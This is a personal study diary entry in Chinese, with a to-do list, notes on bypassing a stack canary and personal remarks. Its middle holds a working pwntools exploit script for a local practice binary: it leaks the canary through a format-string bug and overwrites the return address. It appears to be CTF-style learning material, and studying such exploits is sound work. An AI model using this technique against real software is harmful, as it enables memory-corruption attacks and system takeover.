今天又换了个地点学习,真是得百般适应,不过今天在车上在想,CPP好久没看了,并且昨日听了kk意见,换成机动休息日,不是一周一休了,感觉也挺合理。--7.6
7.6 To do list:
1.Pwn笔记整理
2.Cpp程序题 向下阅读10页
一:Pwn笔记整理
这是重新调整的cannary笔记,发现之前是根本没理解,说实话现在也有点不是十分清楚。
gdb调试的时候记得要提权
要不然会调试不了
canary每次运行,每次的值都会改变
这个是运用canary的程序
然后ebp-0xc存放了值
然后利用%k$p
用sendline默认会有个回车 要去掉回车就指定八位
exp.py
from pwn import * p = process("./printf") #获得进程 canary_offset = 8*4 p.sendline("%15$08x") #获取canary值 canary = p.recv()[:8] #指定八个字符,要不然sendline会有个换行 ret_offset = 3*4 print canary canary = canary.decode("hex")[::-1] #转成16进制,小端存储 exploit_address = p32(0x080484e6) #exploit地址 payload = canary_offset*'a' + canary + ret_offset*'a' + exploit_address p.sendline(payload) p.interactive()
从前可知cannary值再ebp-0xc
那么执行到printf时,我要用利用格式化字符串漏洞获取cannary值,然后就看printf下的栈情况(如上图)
esp到ebp-0xc的位置是15行,000到03c,一行四个字节,于是就%15$8x,这样打印
然后read函数读取到的数据会放在0xffffd53c这个位置,所以对应栈中的顺序,第二个payload先是8行到cannary再3行覆盖放exploit地址,程序直接就会成功pwn
二:Cpp
太久没看这书了,作者真写挺好,不愧是业界经典。
今天两个指甲甲沟炎包扎,花费了许多时间,还有泡芙和西瓜没有放到冰箱了,现在我得赶紧起身and明天不能睡到十一点多了,设了个十点半的闹钟,Siri声音莫名变了,不过不要想太多,快点休息。night.